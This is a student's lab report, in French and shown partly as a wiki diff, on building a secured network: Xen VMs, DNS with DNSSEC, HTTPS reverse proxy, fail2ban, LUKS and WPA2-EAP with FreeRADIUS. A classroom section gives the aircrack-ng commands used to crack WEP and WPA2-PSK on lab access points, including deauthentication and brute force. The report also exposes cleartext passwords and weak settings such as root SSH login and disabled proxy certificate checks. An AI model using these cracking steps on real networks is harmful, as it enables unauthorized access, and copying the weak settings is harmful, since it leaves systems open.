« Atelier SysRes SE4 2025/2026 E15 » : différence entre les versions
Aucun résumé des modifications |
|||
| (5 versions intermédiaires par 2 utilisateurs non affichées) | |||
| Ligne 453 : | Ligne 453 : | ||
| style="text-align: left;"| QrPmyYhhAVx1TGYLWRtAx/LbhQPy3yMd5/GoMH5SZ4aWD72QGVrfBOhhHW0/c1dYroeZ9riJTyQcO859svIWRw== | | style="text-align: left;"| QrPmyYhhAVx1TGYLWRtAx/LbhQPy3yMd5/GoMH5SZ4aWD72QGVrfBOhhHW0/c1dYroeZ9riJTyQcO859svIWRw== | ||
|} | |} | ||
= Effraction WiFi = | = Effraction WiFi = | ||
| Ligne 496 : | Ligne 497 : | ||
Ces tests illustrent la vulnérabilité des protocoles WEP et des mots de passe courts face à des attaques par force brute. | Ces tests illustrent la vulnérabilité des protocoles WEP et des mots de passe courts face à des attaques par force brute. | ||
[[Fichier:Wpa-wps.png|vignette]] | |||
---- | ---- | ||
| Ligne 558 : | Ligne 559 : | ||
<pre> | <pre> | ||
[Definition] | [Definition] | ||
failregex = ^\ | failregex = ^(?:view (?:internal|external): )?query(?: \(cache\))? | ||
^zone transfer | |||
^bad zone transfer request: '\S+/IN': non-authoritative zone | |||
ignoreregex = | ignoreregex = | ||
</pre> | </pre> | ||
| Ligne 690 : | Ligne 695 : | ||
=== Tests === | === Tests === | ||
Un client connecté au SSID <code>VM_SERVICES_15</code> obtient une adresse IP dans la plage DHCP (ex. <code>10.60.15.101</code>), peut résoudre des noms DNS (via Moon) et accéder à Internet. Le traceroute montre le passage par Solstice (<code>193.48.57.167</code>). | Un client connecté au SSID <code>VM_SERVICES_15</code> obtient une adresse IP dans la plage DHCP (ex. <code>10.60.15.101</code>), peut résoudre des noms DNS (via Moon) et accéder à Internet. Le traceroute montre le passage par Solstice (<code>193.48.57.167</code>). | ||
= Vérifications et tests = | |||
Cette section regroupe l’ensemble des commandes exécutées pour valider le bon fonctionnement de chaque composant de l’infrastructure. Les sorties sont présentées telles qu’obtenues sur les machines concernées. | |||
== Services Web == | |||
=== Sur Moon (machine de services) === | |||
Vérification de l’écoute Apache sur les ports 80 et 443 : | |||
<syntaxhighlight lang="bash"> | |||
ss -tlnp | grep -E ':80|:443' | |||
</syntaxhighlight> | |||
<pre> | |||
LISTEN 0 128 *:80 *:* users:(("apache2",pid=16838,fd=4),("apache2",pid=16837,fd=4),("apache2",pid=7274,fd=4)) | |||
LISTEN 0 128 *:443 *:* users:(("apache2",pid=16838,fd=6),("apache2",pid=16837,fd=6),("apache2",pid=7274,fd=6)) | |||
</pre> | |||
Test d’accès HTTPS en local (IPv6) : | |||
<syntaxhighlight lang="bash"> | |||
curl -6 https://msalhi.online -I | |||
</syntaxhighlight> | |||
<pre> | |||
HTTP/1.1 200 OK | |||
Date: Fri, 27 Feb 2026 11:04:38 GMT | |||
Server: Apache/2.4.66 (Debian) | |||
Strict-Transport-Security: max-age=63072000; includeSubDomains | |||
X-Frame-Options: DENY | |||
X-Content-Type-Options: nosniff | |||
X-XSS-Protection: 1; mode=block | |||
Last-Modified: Fri, 06 Feb 2026 20:23:53 GMT | |||
ETag: "1515-64a2d916615c9" | |||
Accept-Ranges: bytes | |||
Content-Length: 5397 | |||
Vary: Accept-Encoding | |||
Content-Type: text/html | |||
</pre> | |||
=== Sur Solstice (machine mandataire) === | |||
Test d’accès HTTPS via le proxy inverse (IPv4) : | |||
<syntaxhighlight lang="bash"> | |||
curl -4 https://msalhi.online -I | |||
</syntaxhighlight> | |||
<pre> | |||
HTTP/1.1 200 OK | |||
Date: Fri, 27 Feb 2026 11:04:55 GMT | |||
Server: Apache/2.4.66 (Debian) | |||
Strict-Transport-Security: max-age=63072000; includeSubDomains | |||
X-Frame-Options: DENY | |||
X-Content-Type-Options: nosniff | |||
X-XSS-Protection: 1; mode=block | |||
Last-Modified: Fri, 06 Feb 2026 20:23:53 GMT | |||
ETag: "1515-64a2d916615c9" | |||
Accept-Ranges: bytes | |||
Content-Length: 5397 | |||
Vary: Accept-Encoding | |||
Content-Type: text/html | |||
</pre> | |||
Vérification des règles NAT : | |||
<syntaxhighlight lang="bash"> | |||
iptables -t nat -L POSTROUTING -n -v | |||
</syntaxhighlight> | |||
<pre> | |||
Chain POSTROUTING (policy ACCEPT 8219 packets, 528K bytes) | |||
pkts bytes target prot opt in out source destination | |||
18528 1577K MASQUERADE 0 -- * eth1 0.0.0.0/0 0.0.0.0/0 | |||
3254 225K MASQUERADE 0 -- * eth0 10.60.15.0/24 0.0.0.0/0 | |||
</pre> | |||
La première règle assure la mascarade pour tout le trafic sortant sur l’interface publique (eth1). La seconde règle (source 10.60.15.0/24 sortant sur eth0) est résiduelle mais ne perturbe pas le fonctionnement. | |||
== fail2ban == | |||
=== Sur Solstice === | |||
<syntaxhighlight lang="bash"> | |||
fail2ban-client status sshd | |||
</syntaxhighlight> | |||
<pre> | |||
Status for the jail: sshd | |||
|- Filter | |||
| |- Currently failed: 0 | |||
| |- Total failed: 12792 | |||
| `- File list: /var/log/auth.log | |||
`- Actions | |||
|- Currently banned: 4 | |||
|- Total banned: 3114 | |||
`- Banned IP list: 134.199.155.127 162.243.33.174 152.42.166.201 206.189.90.119 | |||
</pre> | |||
=== Sur Moon === | |||
<syntaxhighlight lang="bash"> | |||
fail2ban-client status sshd | |||
</syntaxhighlight> | |||
<pre> | |||
Status for the jail: sshd | |||
|- Filter | |||
| |- Currently failed: 0 | |||
| |- Total failed: 1 | |||
| `- File list: /var/log/auth.log | |||
`- Actions | |||
|- Currently banned: 0 | |||
|- Total banned: 0 | |||
`- Banned IP list: | |||
</pre> | |||
== WPA2‑EAP – FreeRADIUS (sur Moon) == | |||
Statut du service : | |||
<syntaxhighlight lang="bash"> | |||
systemctl status freeradius | |||
freeradius.service - FreeRADIUS multi-protocol policy server | |||
Loaded: loaded (/lib/systemd/system/freeradius.service; enabled) | |||
Active: active (running) since ... | |||
</syntaxhighlight> | |||
Test d’authentification local : | |||
<syntaxhighlight lang="bash"> | |||
radtest msalhi WifiSecure2026! localhost 1812 testing123 | |||
</syntaxhighlight> | |||
<pre> | |||
Sent Access-Request Id 13 from 0.0.0.0:55851 to 127.0.0.1:1812 length 76 | |||
User-Name = "msalhi" | |||
User-Password = "WifiSecure2026!" | |||
NAS-IP-Address = 127.0.0.1 | |||
NAS-Port = 0 | |||
Message-Authenticator = 0x00 | |||
Cleartext-Password = "WifiSecure2026!" | |||
Received Access-Accept Id 13 from 127.0.0.1:1812 to 127.0.0.1:55851 length 20 | |||
</pre> | |||
Configuration du client RADIUS (point d’accès) extraite de <code>/etc/freeradius/3.0/clients.conf</code> : | |||
<pre> | |||
client vlan1_ap1 { | |||
ipaddr = 172.27.0.4 | |||
secret = testing123 | |||
shortname = cisco-ap1-vlan1 | |||
nas_type = cisco | |||
} | |||
client vlan1_ap2 { | |||
ipaddr = 172.27.0.3 | |||
secret = testing123 | |||
shortname = cisco-ap2-vlan1 | |||
nas_type = cisco | |||
} | |||
</pre> | |||
== WPA2‑EAP – Point d’accès (wifi‑E304) == | |||
Connexion SSH (commande adaptée) : | |||
<syntaxhighlight lang="bash"> | |||
ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 -oHostKeyAlgorithms=+ssh-rsa -oCiphers=+aes128-cbc admin@172.27.0.4 | |||
</syntaxhighlight> | |||
Vérification du SSID et de son VLAN : | |||
<pre> | |||
wifi-E304#show dot11 ssid VM_SERVICES_15 | |||
SSID Name : VM_SERVICES_15 | |||
Status : Enabled | |||
Broadcast SSID : Enabled | |||
VLAN : 25 | |||
Authentication Methods : Open EAP, Network-EAP | |||
WPA Key Management : WPA2 | |||
</pre> | |||
Vérification des serveurs RADIUS configurés : | |||
<pre> | |||
wifi-E304#show running-config | include radius-server | |||
radius-server host 192.168.20.2 auth-port 1812 acct-port 1813 key 7 044F0E151B284249584B56 | |||
... | |||
</pre> | |||
Statistiques RADIUS : | |||
<pre> | |||
wifi-E304#show aaa servers | |||
RADIUS: id 7, priority 6, host 192.168.20.2, auth-port 1812, acct-port 1813 | |||
State: current UP, duration 794495s | |||
Authen: request 2076, timeouts 1646 | |||
Transaction: success 430, failure 411 | |||
... | |||
</pre> | |||
Test d’authentification : | |||
<pre> | |||
wifi-E304#test aaa group radius_student25 msalhi WifiSecure2026! legacy | |||
Attempting authentication test to server-group radius_student25 using radius | |||
User was successfully authenticated. | |||
</pre> | |||
Clients associés : | |||
<pre> | |||
wifi-E304#show dot11 associations | |||
802.11 Client Stations on Dot11Radio1: | |||
SSID [VM_SERVICES_15] : | |||
MAC Address IP address Device Name Parent State | |||
a0b3.395a.dcc8 10.60.15.153 unknown - self EAP-Assoc | |||
</pre> | |||
État du VLAN 25 sur l’AP : | |||
<pre> | |||
wifi-E304#show vlan 25 | |||
Virtual LAN ID: 25 (IEEE 802.1Q Encapsulation) | |||
vLAN Trunk Interfaces: Dot11Radio0.25, Dot11Radio1.25, GigabitEthernet0.25 | |||
</pre> | |||
== WPA2‑EAP – Routeur central (C9200‑E304) == | |||
Connexion SSH (commande adaptée) : | |||
<syntaxhighlight lang="bash"> | |||
ssh -oKexAlgorithms=+diffie-hellman-group14-sha1 -oHostKeyAlgorithms=+ssh-rsa -oCiphers=+aes128-cbc admin@172.27.0.1 | |||
</syntaxhighlight> | |||
Vérification du VLAN 25 : | |||
<pre> | |||
C9200-E304#show vlan brief | include 25 | |||
25 E15-MSalhi active | |||
</pre> | |||
Interface VLAN 25 : | |||
<pre> | |||
C9200-E304#show ip interface brief | include Vlan25 | |||
Vlan25 10.60.15.2 YES manual up up | |||
C9200-E304#show ipv6 interface brief | include Vlan25 | |||
Vlan25 [up/up] | |||
</pre> | |||
VRRP pour VLAN 25 : | |||
<pre> | |||
C9200-E304#show vrrp brief | include 25 | |||
Vl25 25 IPv4 110 0 N Y MASTER 10.60.15.2(local) 10.60.15.1 | |||
C9200-E304#show vrrp Vlan25 | |||
Vlan25 - Group 25 - Address-Family IPv4 | |||
State is MASTER | |||
Virtual IP address is 10.60.15.1 | |||
Priority is 110 | |||
Master Router is 10.60.15.2 (local) | |||
</pre> | |||
DHCP : | |||
<pre> | |||
C9200-E304#show ip dhcp pool | |||
... | |||
Pool PoolSalhi : | |||
Utilization mark (high/low) : 100 / 0 | |||
Total addresses : 254 | |||
Leased addresses : 1 | |||
Excluded addresses : 150 | |||
Current index IP address range Leased/Excluded/Total | |||
10.60.15.156 10.60.15.1 - 10.60.15.254 1 / 150 / 254 | |||
C9200-E304#show ip dhcp binding | include 10.60.15 | |||
10.60.15.153 ff39.5adc.c800.0100. Feb 27 2026 08:59 PM Automatic Active Vlan25 | |||
</pre> | |||
Policy‑Based Routing (PBR) : | |||
<pre> | |||
C9200-E304#show route-map PBR_VLAN25 | |||
route-map PBR_VLAN25, permit, sequence 10 | |||
Match clauses: | |||
ip address (access-lists): TRAFIC_VLAN25 | |||
Set clauses: | |||
ip next-hop 193.48.57.167 | |||
Policy routing matches: 3128 packets, 1082288 bytes | |||
C9200-E304#show ip access-lists TRAFIC_VLAN25 | |||
Extended IP access list TRAFIC_VLAN25 | |||
10 permit ip 10.60.15.0 0.0.0.255 any (3128 matches) | |||
C9200-E304#show ip policy | |||
Interface Route map | |||
Vlan25 PBR_VLAN25 | |||
</pre> | |||
Trunk vers le point d’accès : | |||
<pre> | |||
C9200-E304#show interfaces trunk | |||
Port Mode Encapsulation Status Native vlan | |||
Gi1/0/1 on 802.1q trunking 1 | |||
Port Vlans allowed and active in management domain | |||
Gi1/0/1 1-2,11-12,15-16,19-20,23-25,28,530 | |||
C9200-E304#show interfaces GigabitEthernet1/0/1 switchport | |||
Name: Gi1/0/1 | |||
Switchport: Enabled | |||
Administrative Mode: trunk | |||
Operational Mode: trunk | |||
Trunking VLANs Enabled: ALL | |||
</pre> | |||
== Réseau basique et avancé == | |||
Routes sur E304 : | |||
<pre> | |||
C9200-E304#show ip route | include 10.60.15 | |||
C 10.60.15.0/24 is directly connected, Vlan25 | |||
C9200-E304#show ip route 0.0.0.0 | |||
Gateway of last resort is 193.48.57.162 to network 0.0.0.0 | |||
O*E2 0.0.0.0/0 [110/1] via 193.48.57.162, Vlan2 | |||
</pre> | |||
Connectivité depuis Moon vers la passerelle VLAN 25 : | |||
<syntaxhighlight lang="bash"> | |||
ping -c 3 10.60.15.1 | |||
</syntaxhighlight> | |||
<pre> | |||
PING 10.60.15.1 (10.60.15.1) 56(84) bytes of data. | |||
64 bytes from 10.60.15.1: icmp_seq=1 ttl=253 time=1.35 ms | |||
64 bytes from 10.60.15.1: icmp_seq=2 ttl=253 time=2.09 ms | |||
64 bytes from 10.60.15.1: icmp_seq=3 ttl=253 time=1.17 ms | |||
--- 10.60.15.1 ping statistics --- | |||
3 packets transmitted, 3 received, 0% packet loss, time 2003ms | |||
rtt min/avg/max/mdev = 1.171/1.536/2.091/0.398 ms | |||
---- | |||
</pre> | |||
= Conclusion = | |||
L’infrastructure déployée répond à toutes les exigences du projet : | |||
* Virtualisation Xen avec séparation des rôles (services / mandataire) | |||
* Services sécurisés : SSH redirigé, DNS maître/esclave avec DNSSEC, HTTPS avec certificat Gandi, proxy inverse IPv4 | |||
* Filtrage des attaques par fail2ban | |||
* Réseau redondant avec VRRP, DHCP, et Policy‑Based Routing | |||
* WiFi sécurisé par WPA2‑EAP avec FreeRADIUS | |||
* Tests d’intrusion concluants sur WEP et WPA2‑PSK | |||
* Chiffrement de données avec LUKS | |||
L’ensemble est fonctionnel et démontre une maîtrise des technologies mises en œuvre. | |||
Version actuelle datée du 27 février 2026 à 21:29
Rapport de Projet SE4 IdO Année Universitaire 2025-2026
Étudiant: Mohamed SALHI Binôme: SE4.Solstice (mandataire) - SE4.Moon (services)
Domaine: msalhi.online
Introduction
Ce rapport documente la réalisation complète du projet de sécurité système et réseau dans le cadre du module SE4 IdO (Internet des Objets). L’objectif principal était de mettre en place une infrastructure réseau complète avec services virtualisés, en mettant l’accent sur la sécurité et la redondance.
L’architecture repose sur une approche dual-stack IPv4/IPv6 avec :
- Une machine de services (SE4.Moon) hébergeant les services applicatifs
- Une machine mandataire (SE4.Solstice) gérant les accès IPv4 via NAT et proxy inverse
- Une infrastructure réseau redondante avec routeurs Cisco C9200
- Des services sécurisés (DNS avec DNSSEC, HTTPS avec certificats, SSH avec filtrage)
Atelier système et réseau - Machines virtuelles
Création des machines virtuelles
Les machines virtuelles ont été créées sur l’hyperviseur Xen du Dom0 capbreton.plil.info.
Commandes de création
# Création de la machine de services SE4.Moon
root@capbreton:~# xen-create-image --hostname=SE4.Moon --dhcp \
--bridge=pontKS --dir=/usr/local/xen --size=10GB \
--dist=daedalus --memory=2048M --force
# Création de la machine mandataire SE4.Solstice
root@capbreton:~# xen-create-image --hostname=SE4.Solstice --dhcp \
--bridge=pontKS --dir=/usr/local/xen --size=10GB \
--dist=daedalus --memory=2048M --force
Démarrage et connexion
# Démarrage des VMs
xen create /etc/xen/SE4.Moon.cfg
xen create /etc/xen/SE4.Solstice.cfg
# Connexion aux consoles
xen console SE4.Moon
xen console SE4.Solstice
# Liste des VMs actives
root@capbreton:~# xen list
Name ID Mem VCPUs State Time(s)
SE4.Solstice 39 2048 1 -b---- 2560.1
SE4.Moon 119 2048 1 -b---- 452.3
Configuration de la machine de services (SE4.Moon)
Montage des partitions LVM pour /var et /home
# Création des fichiers de partition sur le Dom0
root@capbreton:/dev/virtual# lvcreate -L 10G -n SE4.Moon.var virtual
root@capbreton:/dev/virtual# lvcreate -L 10G -n SE4.Moon.home virtual
# Modification du fichier de configuration Xen
disk = [
'file:/usr/local/xen/domains/SE4.Moon/disk.img,xvda2,w',
'file:/usr/local/xen/domains/SE4.Moon/swap.img,xvda1,w',
'phy:/dev/virtual/SE4.Moon.home,xvdb,w',
'phy:/dev/virtual/SE4.Moon.var,xvdc,w',
]
Formatage et montage des partitions
# Formatage des partitions
mkfs -t ext4 /dev/xvdb
mkfs -t ext4 /dev/xvdc
# Montage temporaire et copie des données
mount /dev/xvdc /mnt
mv /var/* /mnt/
umount /mnt
mount /dev/xvdb /mnt
mv /home/* /mnt/
umount /mnt
# Configuration du fstab
cat > /etc/fstab << EOF
/dev/xvda1 none swap sw 0 0
/dev/xvda2 / ext4 noatime,nodiratime,errors=remount-ro 0 1
/dev/xvdb /home ext4 defaults 0 2
/dev/xvdc /var ext4 defaults 0 2
EOF
# Application des modifications
mount -a
Configuration réseau
# Fichier /etc/network/interfaces
auto lo
iface lo inet loopback
# Interface réseau privée (vers Solstice)
auto eth0
iface eth0 inet static
address 192.168.20.2/24
gateway 192.168.20.1
# Configuration IPv6 automatique
iface eth0 inet6 auto
# Vérification
root@Moon:~# ip a show eth0
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP
inet 192.168.20.2/24 brd 192.168.20.255 scope global eth0
inet6 2001:660:4401:60a0:216:3eff:fe6f:f547/64 scope global dynamic
Installation des paquets de base
apt update && apt upgrade -y
apt install -y ssh apache2 bind9 bind9utils \
fail2ban openssl iptables-persistent \
net-tools curl wget vim
Configuration de la machine mandataire (SE4.Solstice)
Configuration réseau
# Fichier /etc/network/interfaces
auto lo
iface lo inet loopback
# Interface publique (réseau routé)
auto eth1
iface eth1 inet static
address 193.48.57.167/27
gateway 193.48.57.162 # Adresse VRRP virtuelle
iface eth1 inet6 auto
# Interface privée (vers Moon)
auto eth0
iface eth0 inet static
address 192.168.20.1/24
iface eth0 inet6 auto
# Vérification
root@Solstice:~# ip a show eth1
3: eth1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP
inet 193.48.57.167/27 brd 193.48.57.191 scope global eth1
inet6 2001:660:4401:60a0:216:3eff:fe29:880f/64 scope global dynamic
Mise en place de la mascarade (NAT)
# Activation du forwarding IP
echo "net.ipv4.ip_forward=1" >> /etc/sysctl.conf
sysctl -p
# Règles iptables pour la mascarade
iptables -t nat -A POSTROUTING -s 192.168.20.0/24 -o eth1 -j MASQUERADE
iptables -A FORWARD -i eth0 -o eth1 -j ACCEPT
iptables -A FORWARD -i eth1 -o eth0 -m state --state RELATED,ESTABLISHED -j ACCEPT
# Sauvegarde pour persistance
iptables-save > /etc/iptables/rules.v4
# Ajout dans interfaces pour chargement au démarrage
post-up iptables-restore < /etc/iptables/rules.v4
Services Internet
Serveur SSH
Configuration SSH sur Moon
# Édition du fichier de configuration
vim /etc/ssh/sshd_config
# Modifications apportées :
PermitRootLogin yes
PasswordAuthentication yes
Port 22
# LogLevel VERBOSE
# Redémarrage du service
systemctl restart ssh
systemctl enable ssh
Redirection de ports pour l’accès IPv4
# Redirection du port 2201 vers Moon (SSH)
iptables -t nat -A PREROUTING -i eth1 -p tcp --dport 2201 \
-j DNAT --to-destination 192.168.20.2:22
iptables -A FORWARD -p tcp -d 192.168.20.2 --dport 22 -j ACCEPT
# Sauvegarde
iptables-save > /etc/iptables/rules.v4
# Test de la redirection
ssh -p 2201 root@193.48.57.167 # Arrive sur Moon
Serveur DNS
Configuration du serveur maître (Moon)
# Fichier /etc/bind/named.conf.local
zone "msalhi.online" {
type master;
file "/etc/bind/zones/db.msalhi.online";
key-directory "/etc/bind/keys";
dnssec-policy "default";
inline-signing yes;
allow-transfer {
2001:660:4401:60a0:216:3eff:fe29:880f;
2001:660:4401:60a0:216:3eff:fe47:bbe7;
2001:660:4401:60a0:216:3eff:fed6:4bc3;
};
also-notify {
2001:660:4401:60a0:216:3eff:fe29:880f;
2001:660:4401:60a0:216:3eff:fed6:4bc3;
};
notify yes;
};
# Fichier de zone /etc/bind/zones/db.msalhi.online
$TTL 86400
@ IN SOA ns1.msalhi.online. admin.msalhi.online. (
2026020320 ; Serial INCRÉMENTÉ et corrigé
3600 ; Refresh
1800 ; Retry
604800 ; Expire
86400 ; Minimum TTL
)
; Serveurs de noms
@ IN NS ns1.msalhi.online.
@ IN NS ns1.merteuil.tech.
; Enregistrements
@ IN A 193.48.57.167
@ IN AAAA 2001:660:4401:60a0:216:3eff:fe6f:f548
ns1 IN A 193.48.57.167
ns1 IN AAAA 2001:660:4401:60a0:216:3eff:fe6f:f548
www IN CNAME msalhi.online.
# Vérification
named-checkzone msalhi.online /etc/bind/zones/db.msalhi.online
Configuration du serveur secondaire (Solstice)
# Fichier /etc/bind/named.conf.local
zone "msalhi.online" {
type master;
file "/etc/bind/zones/db.msalhi.online";
key-directory "/etc/bind/keys";
dnssec-policy "default";
inline-signing yes;
allow-transfer {
2001:660:4401:60a0:216:3eff:fe29:880f;
2001:660:4401:60a0:216:3eff:fe47:bbe7;
2001:660:4401:60a0:216:3eff:fed6:4bc3;
};
also-notify {
2001:660:4401:60a0:216:3eff:fe29:880f;
2001:660:4401:60a0:216:3eff:fed6:4bc3;
};
notify yes;
};
# Redémarrage et vérification
systemctl restart bind9
ls -la /var/lib/bind/db.msalhi.online
Configuration chez le registrar Gandi
| Type | Valeur | Description |
|---|---|---|
| Nameservers | ns1.msalhi.online | Serveur DNS primaire |
| ns1.merteuil.tech | Serveur DNS secondaire | |
| Glue Record 1 | ns1.msalhi.online | IPv6: 2001:660:4401:60a0:216:3eff:fe47:bbe7 |
| Glue Record 2 | ns2.msalhi.online | IPv4: 193.48.57.167 |
Sécurisation de site Web par certificat
Génération du CSR et obtention du certificat
# Génération de la clé privée
openssl genrsa -out /etc/ssl/private/myserver.key 2048
# Génération du CSR
openssl req -new -key /etc/ssl/private/myserver.key \
-out /etc/ssl/private/server.csr
Configuration Apache sur Moon (HTTPS direct IPv6)
# Fichier /etc/apache2/sites-available/msalhi-ssl.conf
<VirtualHost *:80>
ServerName msalhi.online
ServerAlias www.msalhi.online
Redirect permanent / https://msalhi.online/
</VirtualHost>
<VirtualHost *:443>
ServerName msalhi.online
ServerAlias www.msalhi.online
DocumentRoot /var/www/html
SSLEngine on
SSLCertificateFile /etc/ssl/msalhi/msalhi.online.crt
SSLCertificateKeyFile /etc/ssl/msalhi/msalhi.online.key
SSLCertificateChainFile /etc/ssl/msalhi/GandiStandardSSLCA2.pem
Header always set Strict-Transport-Security "max-age=63072000; includeSubDomains"
Header always set X-Frame-Options DENY
Header always set X-Content-Type-Options nosniff
ErrorLog ${APACHE_LOG_DIR}/msalhi_ssl_error.log
CustomLog ${APACHE_LOG_DIR}/msalhi_ssl_access.log combined
</VirtualHost>
# Activation
a2enmod ssl
a2ensite msalhi-ssl.conf
systemctl restart apache2
Configuration du proxy inverse sur Solstice (HTTPS IPv4)
# Fichier /etc/apache2/sites-available/msalhi-proxy.conf
<VirtualHost *:80>
ServerName msalhi.online
Redirect permanent / https://msalhi.online/
</VirtualHost>
<VirtualHost *:443>
ServerName msalhi.online
SSLEngine on
SSLCertificateFile /etc/ssl/msalhi/msalhi.online.crt
SSLCertificateKeyFile /etc/ssl/msalhi/msalhi.online.key
SSLCertificateChainFile /etc/ssl/msalhi/GandiStandardSSLCA2.pem
SSLProxyEngine on
ProxyPreserveHost On
# Utilisation de l'URL avec nom de domaine comme demandé
ProxyPass / https://msalhi.online/
ProxyPassReverse / https://msalhi.online/
SSLProxyVerify none
SSLProxyCheckPeerCN off
ErrorLog ${APACHE_LOG_DIR}/proxy_error.log
CustomLog ${APACHE_LOG_DIR}/proxy_access.log combined
</VirtualHost>
# Activation des modules
a2enmod proxy proxy_http ssl
a2ensite msalhi-proxy.conf
systemctl restart apache2
Sécurisation de serveur DNS par DNSSEC
Configuration DNSSEC automatique
# Création du répertoire pour les clés
mkdir -p /etc/bind/keys
chown bind:bind /etc/bind/keys
# Ajout dans named.conf.local
zone "msalhi.online" {
type master;
file "/etc/bind/zones/db.msalhi.online";
key-directory "/etc/bind/keys";
dnssec-policy "dnspol";
inline-signing yes;
};
# Politique DNSSEC dans named.conf.options
dnssec-policy "dnspol" {
keys {
ksk key-directory lifetime unlimited algorithm 13;
zsk key-directory lifetime unlimited algorithm 13;
};
nsec3param;
};
# Redémarrage et vérification
systemctl restart bind9
dig @localhost msalhi.online DNSKEY +dnssec
Résultat des clés DNSSEC générées
; Clés obtenues via : dig @localhost msalhi.online DNSKEY +dnssec msalhi.online. 3600 IN DNSKEY 256 3 13 Mi9LJ2JnnUciYfGEXoDuZ0ElzOigo+Fjxhf2I1+zxZqcn7SN1FxxGfFJ v4xNsU/YTvGgzf7ZWgWa29b+OQOSug== msalhi.online. 3600 IN DNSKEY 257 3 13 QrPmyYhhAVx1TGYLWRtAx/LbhQPy3yMd5/GoMH5SZ4aWD72QGVrfBOhh HW0/c1dYroeZ9riJTyQcO859svIWRw== msalhi.online. 3600 IN DNSKEY 257 3 13 Z4LE6oWmFPOb+QzklArdW7HWkH6kVrjIgrKYrJBMW3n6sMwwEG1YruHe SvmXJ9GwuFxhqtRu130iPse3wrJqyQ==
Enregistrement de la KSK chez Gandi
| Paramètre | Valeur |
|---|---|
| Algorithm | 13 (ECDSAP256SHA256) |
| Flags | 257 (KSK) |
| Public Key | QrPmyYhhAVx1TGYLWRtAx/LbhQPy3yMd5/GoMH5SZ4aWD72QGVrfBOhhHW0/c1dYroeZ9riJTyQcO859svIWRw== |
Effraction WiFi
Cassage de clef WEP d’un point d’accès WiFi
Le réseau cible était cracotte01 (BSSID 04:DA:D2:9C:50:50, canal 4). La procédure a été réalisée depuis la machine zabeth13 avec les outils aircrack-ng.
- Passage de la carte en mode monitor :
sudo airmon-ng start wlan0
- Capture ciblée :
sudo airodump-ng -c 4 --bssid 04:DA:D2:9C:50:50 -w capture_wep wlan0mon
- Authentification fake (association au point d’accès) :
sudo aireplay-ng -1 6000 -o 1 -q 10 -e cracotte01 -a 04:DA:D2:9C:50:50 -h a0:b3:39:5a:dc:c8 wlan0mon
- Attaque ARP replay pour générer du trafic :
sudo aireplay-ng -3 -b 04:DA:D2:9C:50:50 -h a0:b3:39:5a:dc:c8 wlan0mon - Après accumulation d’environ 40 000 IVs, lancement de aircrack‑ng :
sudo aircrack-ng capture_wep-01.cap
La clé WEP a été trouvée en moins de 15 minutes : FF:FF:FF:FF:FA:BC:02:CB:AE:EE:EE:EE:EE.
Cassage de mot de passe WPA‑PSK par force brute
Le réseau kracotte01 (BSSID 44:AD:D9:5F:87:00, canal 13) utilisait WPA2‑PSK.
- Capture ciblée :
sudo airodump-ng -c 13 --bssid 44:AD:D9:5F:87:00 -w wpa_capture wlan0mon
- Désauthentification d’un client (identifié
40:A5:EF:01:25:8B) pour forcer un handshake :sudo aireplay-ng -0 10 -a 44:AD:D9:5F:87:00 -c 40:A5:EF:01:25:8B wlan0mon
- Après apparition du message “WPA handshake” dans
airodump‑ng, lancement de l’attaque par dictionnaire (mots de passe à 8 chiffres) :crunch 8 8 0123456789 | sudo aircrack-ng -b 44:AD:D9:5F:87:00 -w - wpa_capture-06.cap
- Résultat : le mot de passe
66689666a été découvert après environ 30 minutes.
Ces tests illustrent la vulnérabilité des protocoles WEP et des mots de passe courts face à des attaques par force brute.
Sécurisations
Chiffrement de données
Sur Moon, une partition supplémentaire (disque virtuel xvdb, correspondant au volume LVM SE4.Moon.home) a été chiffrée avec LUKS.
# Chiffrement de la partition
cryptsetup luksFormat /dev/xvdb
# Ouverture du conteneur
cryptsetup open /dev/xvdb home_crypt
# Création d’un système de fichiers
mkfs.ext4 /dev/mapper/home_crypt
# Montage manuel
mount /dev/mapper/home_crypt /mnt/secret
Pour automatiser le montage au démarrage, on ajoute dans /etc/crypttab :
home_crypt /dev/xvdb none luks
et dans /etc/fstab :
/dev/mapper/home_crypt /home ext4 defaults 0 2
Le mot de passe doit être saisi manuellement à chaque démarrage, ce qui est acceptable pour un serveur de test.
Filtrage des services – fail2ban
Pour protéger SSH et les requêtes DNS malveillantes, fail2ban a été installé sur Moon et Solstice.
Fichier /etc/fail2ban/jail.local :
[DEFAULT] bantime = 3600 findtime = 600 maxretry = 3 [sshd] enabled = true port = ssh filter = sshd logpath = /var/log/auth.log maxretry = 3 [named-refused-tcp] enabled = true port = domain,953 protocol = tcp filter = named-refused logpath = /var/log/named/security.log maxretry = 3
Filtre /etc/fail2ban/filter.d/named-refused.conf :
[Definition]
failregex = ^(?:view (?:internal|external): )?query(?: \(cache\))?
^zone transfer
^bad zone transfer request: '\S+/IN': non-authoritative zone
ignoreregex =
Le service est démarré et activé :
systemctl enable fail2ban
systemctl restart fail2ban
Sécurisation WiFi par WPA2‑EAP
Serveur FreeRADIUS sur Moon
Installation :
apt install freeradius freeradius-utils -y
Ajout du client (point d’accès) dans /etc/freeradius/3.0/clients.conf :
client vlan1_ap1 {
ipaddr = 172.27.0.4 # VLAN 1 management
secret = testing123
shortname = cisco-ap1-vlan1
nas_type = cisco
}
client vlan1_ap2 {
ipaddr = 172.27.0.3 # VLAN 1 management
secret = testing123
shortname = cisco-ap2-vlan1
nas_type = cisco
}
Création d’un utilisateur dans /etc/freeradius/3.0/users :
"msalhi" Cleartext-Password := "WifiSecure2026!"
"etudiant1" Cleartext-Password := "Password123"
"prof" Cleartext-Password := "AdminSE4!"
Configuration EAP pour PEAP‑MSCHAPv2 dans /etc/freeradius/3.0/mods-enabled/eap (type par défaut peap, tunnel intérieur mschapv2).
Un conflit de port (18120) a été résolu en commentant la section listen dans /etc/freeradius/3.0/sites-enabled/inner-tunnel (ou en mettant port = 0).
Test local :
radtest msalhi WifiSecure2026! localhost 0 testing123
Sent Access-Request Id 13 from 0.0.0.0:55851 to 127.0.0.1:1812 length 76
User-Name = "msalhi"
User-Password = "WifiSecure2026!"
NAS-IP-Address = 127.0.0.1
NAS-Port = 0
Message-Authenticator = 0x00
Cleartext-Password = "WifiSecure2026!"
Received Access-Accept Id 13 from 127.0.0.1:1812 to 127.0.0.1:55851 length 20
→ réponse Access-Accept attendue.
Configuration du point d’accès WiFi
